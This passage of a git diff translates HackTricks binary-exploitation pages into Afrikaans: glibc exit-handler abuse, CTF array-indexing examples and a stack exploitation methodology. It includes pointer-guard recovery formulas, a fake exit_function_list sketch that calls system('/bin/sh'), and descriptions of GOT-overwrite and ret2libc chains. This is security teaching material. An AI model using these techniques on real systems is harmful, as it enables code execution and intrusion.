+allocate element. */
+free (cur);
+}
+
+__libc_lock_unlock (__exit_funcs_lock);
```
+Die veranderlike `f` wys na die **`initial`**-struktuur en, afhangende van die waarde van `f->flavor`, sal verskillende funksies geroep word.\
+Afhangende van die waarde sal die adres van die funksie wat geroep moet word op ’n ander plek wees, maar dit sal altyd **demangled** wees.
+
+Verder is dit in die opsies **`ef_on`** en **`ef_cxa`** ook moontlik om ’n **argument** te beheer.
+
+Dit is moontlik om die **`initial`-struktuur** in ’n debugging-sessie met GEF te kontroleer deur **`gef> p initial`** uit te voer.
-The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\
-Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**.
+Om dit te abuse, moet jy óf die **`PTR_MANGLE`-cookie** **leak** of uitvee, en dan ’n `cxa`-entry in initial oorskryf met `system('/bin/sh')`.\
+Jy kan ’n voorbeeld hiervan vind in die [**oorspronklike blogplasing oor die tegniek**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).[[7]](#references)
-Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**.
+## Praktiese `__exit_funcs` / `initial`-vervalsing op moderne glibc
-It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**.
+Aangesien klassieke hooks soos `__free_hook` uit normale moderne-glibc-teikens verdwyn het, is ’n baie algemene opvolgstap ná ’n arbitrary write om ’n **vals `struct exit_function_list` te forgeer** en dan **`__exit_funcs`** daarheen te laat wys. Dit is basies die mees praktiese weergawe van die misbruik van `__run_exit_handlers()` op onlangse glibc-vrystellings.[[8]](#references) [[9]](#references) [[10]](#references)
-To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
-You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
+Die belangrikste punte is:
+- `exit()` is slegs ’n wrapper rondom **`__run_exit_handlers(status, &__exit_funcs, true, true)`**, dus is dit dikwels genoeg om **`__exit_funcs`** te korrupteer wanneer die program uit `main` terugkeer of `exit()` aanroep.
+- Op baie teikens bevat die staties geallokeerde `initial`-lys reeds een `ef_cxa`-entry vir **`_dl_fini`**. Dit gee jou ’n **bekende plaintext**-pointer binne die exit-lys.
+- As jy die **mangled** `_dl_fini`-pointer kan leak en ook die **werklike** `_dl_fini`-adres ken, kan jy die pointer-guard-cookie herstel en dan enige funksie wat jy wil mangle. Vir ’n herinnering oor pointer guard, kyk na [**hierdie bladsy**](../common-binary-protections-and-bypasses/libc-protections.md#pointer-guard).
+
+Op **x86_64** is die formules gewoonlik:
+```python
+rol = lambda x, n: ((x << n) | (x >> (64 - n))) & ((1 << 64) - 1)
+ror = lambda x, n: ((x >> n) | (x << (64 - n))) & ((1 << 64) - 1)
+ptr_guard = ror(enc_dl_fini, 0x11) ^ real_dl_fini
+enc_target = rol(real_target ^ ptr_guard, 0x11)
+```
+Daarmee lyk ’n vervalste exit list gewoonlik soos volg:
+```c
+struct exit_function_list {
+struct exit_function_list *next;
+size_t idx;
+struct exit_function fns[32];
+};
+
+// Minimal fake list
+next = NULL;
+idx = 1;
+fns[0].flavor = ef_cxa;
+fns[0].func.cxa.fn = mangled(system);
+fns[0].func.cxa.arg = binsh_ptr;
+```
+Dan, oorskryf `__exit_funcs` sodat dit na die fake list wys, en laat die program terminate via `exit()` of `return` uit `main`. Onthou dat **`idx` agteruit verbruik word**, dus, as jy **verskeie** entries forge, sal hulle in **omgekeerde volgorde** uitgevoer word.
+
+### Praktiese notas
+
+- As jy slegs ’n **write** primitive het maar geen read nie, is ’n ander opsie om die **pointer-guard cookie in TLS** met `0x0` te oorskryf en `rol(target, 0x11)` as die encrypted pointer te stoor. Dit werk omdat demangling dan bloot `ror(ptr, 0x11)` word.
+- As jy reeds ’n **libc leak** het, is die encrypted `_dl_fini` entry dikwels genoeg om die cookie te herstel, omdat `ld.so` algemeen langs libc in memory lê en `_dl_fini` by ’n vaste offset binne `ld.so` vir die target build is.
+- Hierdie technique is nutteloos as die target via **`_exit()`** terminate of crash voordat dit na die normale exit path terugkeer. In daardie gevalle, verkies ander post-write targets soos [**`.fini_array` / `.dtors`**](www2exec-.dtors-and-.fini_array.md) of non-exit-time pivots.
+
+### Vinnige debugging-kontrolelys
+```gdb
+b __run_exit_handlers
+b __call_tls_dtors
+x/10gx __exit_funcs
+x/gx $fs_base+0x30
+```
+As `__exit_funcs` reeds beskadig is, ondersoek die eerste inskrywing en verifieer: `flavor`, `idx`, die gemangelde funksiewyser, en of die program werklik `exit()` in plaas van `_exit()` sal bereik.
+
+## References
+
+- [1] [Notas oor die misbruik van exit handlers - binholic](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
+- [2] [nobodyisnobody/docs - Kode-uitvoering op die laaste libc: Teiken van ld.so link_map-struktuur](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure)
+- [3] [glibc-bronkode - elf/dl-fini.c (glibc 2.32)](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)
+- [4] [nobodyisnobody/write-ups - DanteCTF 2023: Sentence To Hell](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell)
+- [5] [CTFtime - angstromCTF 2021 wallstreet writeup](https://ctftime.org/writeup/27030)
+- [6] [nobodyisnobody/docs - Kode-uitvoering op die laaste libc: Kode-uitvoering via TLS-storage dtor_list-oorverandering](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite)
+- [7] [nobodyisnobody/docs - Kode-uitvoering op die laaste libc: Kode-uitvoering via ander gemangelde wysers in die aanvanklike struktuur](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure)
+- [8] [Kode-uitvoering deel 1: van exit na system](https://blog.rop.la/en/exploiting/2024/06/11/code-exec-part1-from-exit-to-system.html)
+- [9] [Dead or Alive - skep van pasgemaakte exit handlers op moderne glibc](https://draksec.cz/blog/htb-uni-ctf-24/dead-or-alive/)
+- [10] [Kode-uitvoering op die laaste libc (nobodyisnobody)](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md
index 675eb939e20..c15fd196f2c 100644
--- a/src/binary-exploitation/array-indexing.md
+++ b/src/binary-exploitation/array-indexing.md
@@ -1,18 +1,23 @@
-# Array Indexing
+# Array-indeksering
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese inligting
-This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability.
+Kwesbaarhede vir array-indeksering kom voor wanneer 'n program versuim om 'n indeks te valideer voordat dit gebruik word om 'n array te lees of te skryf. Toegang buite die grense kan geheue openbaar, aangrensende objekte korrupteer of beheergegewens verander. Die uitbuitingstrategie hang af van die array-uitleg, die aanvaller se beheer oor die indeks en waarde, en die binary se mitigations.[[5]](#references)
-However he you can find some nice **examples**:
+## Voorbeelde
-- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
- - There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`.
-- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- - 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there.
-- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
- - 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used.
-- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
+- **SwampCTF 2019 - dreamheaps:** Twee arrays stoor allocation addresses en groottes. Hul indekse oorvleuel, sodat 'n bewerking buite die grense 'n grootte-inskrywing in 'n aanvallergekose pointer kan verander. Die exploit herlei 'n skryfbewerking na `free@GOT`, vervang dit met `system`, en free 'n buffer wat `/bin/sh` bevat.[[1]](#references)
+- **CSAW 2018 - doubletrouble:** 'n 64-bit binary met 'n executable stack sorteer attacker-supplied doubles voordat dit terugkeer. Die exploit skakel shellcode-bytes en control-flow addresses om na sorteerbare floating-point values, rangskik hulle sodat die sortering nie die canary verskuif nie, en plaas 'n geskikte `ret`-adres in die oorskryfde return-slot. Die grootste gesorteerde waarde is 'n pointer na die leak van die stack, sodat die finale return die shellcode bereik.[[2]](#references)
+- **SECCON CTF 2019 - sum:** Hierdie 64-bit binary het geen RELRO of PIE nie, maar het wel 'n stack canary en NX. 'n Off-by-one stack-array-indeks korrupteer 'n pointer wat as die bestemming vir 'n berekende som gebruik word, wat 'n beperkte write-what-where primitive skep. Die exploit oorskryf `exit@GOT` met 'n `pop rdi; ret`-gadget en plaas `main` op die stack sodat die proses loop in plaas daarvan om te exit. 'n Volgende ROP-stadium stuur `puts@GOT` na `puts` om libc te disclose, keer weer terug na `main`, en voer uiteindelik 'n ret2libc-kall na `system` uit.[[3]](#references)
+- **TUCTF - guestbook:** Hierdie 32-bit PIE binary het NX, maar geen RELRO of stack canary nie. 'n Negatiewe/indeks buite die grense leak libc- en heap-pointers vanaf die stack. 'n Afsonderlike buffer overflow gebruik dan hierdie disclosures om 'n ret2libc-kall na `system("/bin/sh")` te bou terwyl daar aan 'n application check voldoen word wat die heap-adres vereis.[[4]](#references)
+
+## References
+
+- [1] [Nightmare - SwampCTF 2019 dreamheaps](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
+- [2] [Nightmare - CSAW 2018 doubletrouble](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
+- [3] [Faraz - SECCON CTF 2019 sum write-up](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
+- [4] [Nightmare - TUCTF guestbook](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
+- [5] [MITRE CWE-129 - Onbehoorlike validering van array-indeks](https://cwe.mitre.org/data/definitions/129.html)
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
index a5e59ae4023..03d8e6742a3 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
@@ -1,111 +1,116 @@
-# Basic Binary Exploitation Methodology
+# Basiese Binary Exploitation-metodologie
{{#include ../../banners/hacktricks-training.md}}
-## ELF Basic Info
+## Basiese ELF-inligting
+
+Voordat jy met exploitation begin, verstaan die relevante dele van die **ELF binary**-struktuur.[[1]](#references)
-Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**:
{{#ref}}
elf-tricks.md
{{#endref}}
-## Exploiting Tools
+## Exploitation Tools
+
{{#ref}}
tools/
{{#endref}}
-## Stack Overflow Methodology
+## Stack Overflow-metodologie
-With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology.
+Met soveel tegnieke help dit om elke beskikbare primitive en mitigation te koppel aan die doelwitte wat dit kan bevredig. Die protection-spesifieke bladsye verduidelik individuele bypasses; hierdie bladsy fokus op die keuse van ’n exploitation-pad.[[1]](#references)[[2]](#references)
-## Controlling the Flow
+## Beheer van die Flow
-There are different was you could end controlling the flow of a program:
+Daar is verskeie maniere om beheer oor ’n program se execution flow te verkry:
-- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP.
- - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
-- Or via **Arbitrary Writes + Write What Where to Execution**
- - [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses.
- - [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write.
- - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- - **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW.
+- [**Stack Overflows**](../stack-overflow/index.html) wat die return pointer vanaf die stack of die EBP -> ESP -> EIP oorskryf.
+- ’n [**integer overflow**](../integer-overflow-and-underflow.md) in ’n size-berekening kan die primitive wees wat die stack overwrite moontlik maak.
+- Of via **Arbitrary Writes + Write What Where to Execution**
+- [**Format strings**](../format-strings/index.html)**:** Misbruik `printf` om arbitrêre inhoud na arbitrêre adresse te skryf.
+- [**Array Indexing**](../array-indexing.md): Misbruik swak ontwerpte indexing om sekere arrays te kan beheer en ’n arbitrary write te verkry.
+- ’n [**integer overflow**](../integer-overflow-and-underflow.md) kan die out-of-range index produseer.
+- **bof to WWW via ROP**: Misbruik ’n buffer overflow om ’n ROP te konstrueer en ’n WWW te verkry.
+
+Jy kan die **Write What Where to Execution**-tegnieke hier vind:
-You can find the **Write What Where to Execution** techniques in:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
-## Eternal Loops
+## Herbetreding van die Vulnerability
-Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary:
+Een enkele trigger verskaf moontlik nie genoeg stages om adresse te leak, mitigations te bypass en execution te verkry nie. Die volgende tegnieke betree die vulnerable code weer in dieselfde proses:
-- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring.
- - Controlling a proper ROP chain you might be able to perform all the actions in that chain
-- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability**
-- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`.
+- Skryf in ’n **ROP** chain die adres van die **`main` function** of die adres waar die **vulnerability** plaasvind.
+- Deur ’n behoorlike ROP chain te beheer, kan jy moontlik al die aksies in daardie chain uitvoer.
+- Skryf in die **`exit` address in GOT** (of enige ander function wat deur die binary gebruik word voordat dit eindig) die adres om **terug te keer na die vulnerability**.
+- Soos verduidelik in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** stoor 2 functions hier: een om die vuln weer te call en ’n ander om **`__libc_csu_fini`** te call, wat weer die function van `.fini_array` sal call.
-## Exploitation Goals
+## Exploitation-doelwitte
-### Goal: Call an Existing function
+### Doelwit: Call ’n Bestaande Function
-- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag.
- - In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack.
- - In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it
- - In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it
- - If you need to set several parameter to correctly call the **ret2win** function you can use:
- - A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params
- - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers
- - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- - Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function.
-- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
-- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know.
+- [**ret2win**](../stack-overflow/ret2win/): Daar is ’n function in die code wat jy moet call (moontlik met spesifieke parameters) om die flag te verkry.
+- In ’n **regular bof sonder** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **en** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) hoef jy slegs die adres in die return address wat in die stack gestoor is, te skryf.
+- In ’n bof met [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) sal jy dit moet bypass.
+- In ’n bof met [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) sal jy dit moet bypass.
+- As jy verskeie parameters moet stel om die **ret2win** function korrek te call, kan jy die volgende gebruik:
+- ’n [**ROP**](#rop-and-ret2...-techniques) **chain indien daar genoeg gadgets is** om al die params voor te berei.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (indien jy hierdie syscall kan call) om baie registers te beheer.
+- Gadgets van [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) en [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) om die function arguments voor te berei.
+- Via ’n [**Write What Where**](../arbitrary-write-2-exec/index.html) kan jy ander vulns (nie bof nie) misbruik om die **`win`** function te call.
+- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Indien die stack pointers bevat na ’n function wat geroep gaan word, of na ’n string wat deur ’n interessante function (system of printf) gebruik gaan word, is dit moontlik om daardie adres te overwrite.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) of [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) kan die adresse beïnvloed.
+- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Stale of onbepaalde stack-data kan inligting bekendmaak of control flow beïnvloed, afhangend van hoe die program dit gebruik.
-### Goal: RCE
+### Doelwit: RCE
-#### Via shellcode, if nx disabled or mixing shellcode with ROP:
+#### Via shellcode, indien nx disabled is of shellcode met ROP gemeng word:
-- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it:
- - **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it
- - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change
- - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it
- - **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there.
- - This will mix shellcode with a ROP chain.
+- [**(Stack) Shellcode**](../stack-overflow/index.html): Dit is nuttig om shellcode op die stack te stoor voordat of nadat die return pointer oorskryf is, en dan **daarheen te jump**:
+- **In enige geval, indien daar ’n** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** in ’n regular bof sal jy dit moet bypass (leak).
+- **Sonder** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **en** [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **kan** dit moontlik wees om na ’n voorspelbare stack-adres te jump.
+- **Met** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) sal jy tegnieke soos [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) nodig hê om daarheen te jump.
+- **Met** [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) kan ’n [**ROP**](../rop-return-oriented-programing/index.html) chain `mprotect` call om ’n geskikte page executable te maak, ’n function soos `read` gebruik om shellcode daar te plaas, en daarheen te jump.
+- Dit sal shellcode met ’n ROP chain meng.
#### Via syscalls
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**.
- - If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries.
- - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve**
- - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Nuttig om `execve` te call en arbitrêre commands uit te voer. Jy moet die **gadgets kan vind om die spesifieke syscall met die parameters te call**.
+- Indien [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) of [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) enabled is, sal jy dit moet defeat **om ROP gadgets** uit die binary of libraries te kan gebruik.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) kan nuttig wees om die **ret2execve** voor te berei.
+- Dieselfde [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) en [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) register-loading gadgets kan help om syscall state voor te berei wanneer die target ’n geskikte sequence blootstel.
#### Via libc
-- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually).
- - If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- - With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out).
- - With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** :
- - Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it
- - **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory.
- - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to:
- - Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/)
- - Find the **`libc` version** used (leak a couple of function addresses)
- - Check the **previous scenarios with ASLR** to continue.
+- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Nuttig om ’n function uit ’n library (gewoonlik uit **`libc`**) soos **`system`** met voorbereide arguments (bv. `'/bin/sh'`) te call. Die binary moet die library **load** met die function wat jy wil call (gewoonlik libc).
+- Indien dit **statically compiled en geen** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **het nie**, sal die **address** van `system` en `/bin/sh` nie verander nie, dus is dit moontlik om hulle statically te gebruik.
+- **Sonder** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **en met kennis van die libc-weergawe** wat gelaai is, sal die **address** van `system` en `/bin/sh` nie verander nie, dus is dit moontlik om hulle statically te gebruik.
+- Met [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **maar sonder** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, met kennis van libc en met die binary wat die `system`** function gebruik, is dit moontlik om te **`ret` na die adres van system in die GOT** met die adres van `'/bin/sh'` in die param (jy sal dit moet uitfigure).
+- Met [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) maar sonder [PIE](../common-binary-protections-and-bypasses/pie/index.html), met kennis van libc en **sonder dat die binary die `system`** gebruik:
+- Gebruik [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) om die adres van `system` te resolve en dit te call.
+- **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) en bereken die adres van `system` en `'/bin/sh'` in die memory.
+- **Met** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **en** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **en sonder kennis van die libc** moet jy:
+- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) bypass.
+- Vind die **`libc`-weergawe** wat gebruik word (leak ’n paar function addresses).
+- Gaan die **vorige scenarios met ASLR** na om voort te gaan.
#### Via EBP/RBP
-- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack.
- - Useful for **off-by-one** stack overflows
- - Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP
+- [**Stack Pivoting**](../stack-overflow/stack-pivoting.md): Redirect `ESP`/`RSP` na attacker-controlled memory, dikwels deur ’n gestoorde `EBP`/`RBP` te beheer wat deur ’n `leave; ret` epilogue gebruik word.
+- Nuttig vir **off-by-one** stack overflows.
+- Nuttig as ’n alternatiewe manier om beheer oor EIP te beëindig terwyl EIP misbruik word om die payload in memory te konstrueer en dan via EBP daarheen te jump.
+
+#### Diverse Paaie
-#### Misc
+Die pointer-redirection- en uninitialized-variable-paaie wat onder **Doelwit: Call ’n Bestaande Function** gelys word, kan ook direk tot RCE lei wanneer die oorgeskrewe pointer by `system`, ’n ekwivalente command-execution function of attacker-controlled code uitkom. Hulle ASLR/PIE-beperkings bly dieselfde; die gevolglike impak hang af van die beskikbare call target en arguments.
-- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
-- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know
+## References
+- [1] [System V ABI - ELF-spesifikasie](https://refspecs.linuxfoundation.org/elf/elf.pdf)
+- [2] [Shacham - The Geometry of Innocent Flesh on the Bone (Return-Oriented Programming)](https://hovav.net/ucsd/dist/geometry.pdf)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
index f5886ddcc96..71586b836ee 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
@@ -4,8 +4,7 @@
## Program Headers
-The describe to the loader how to load the **ELF** into memory:
-
+Dit beskryf aan die loader hoe om die **ELF** in die geheue te laai:
```bash
readelf -lW lnstat
@@ -14,80 +13,96 @@ Entry point 0x1c00
There are 9 program headers, starting at offset 64
Program Headers:
- Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
- PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
- INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
- [Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
- LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
- LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
- DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
- NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
- GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
- GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
- GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
-
- Section to Segment mapping:
- Segment Sections...
- 00
- 01 .interp
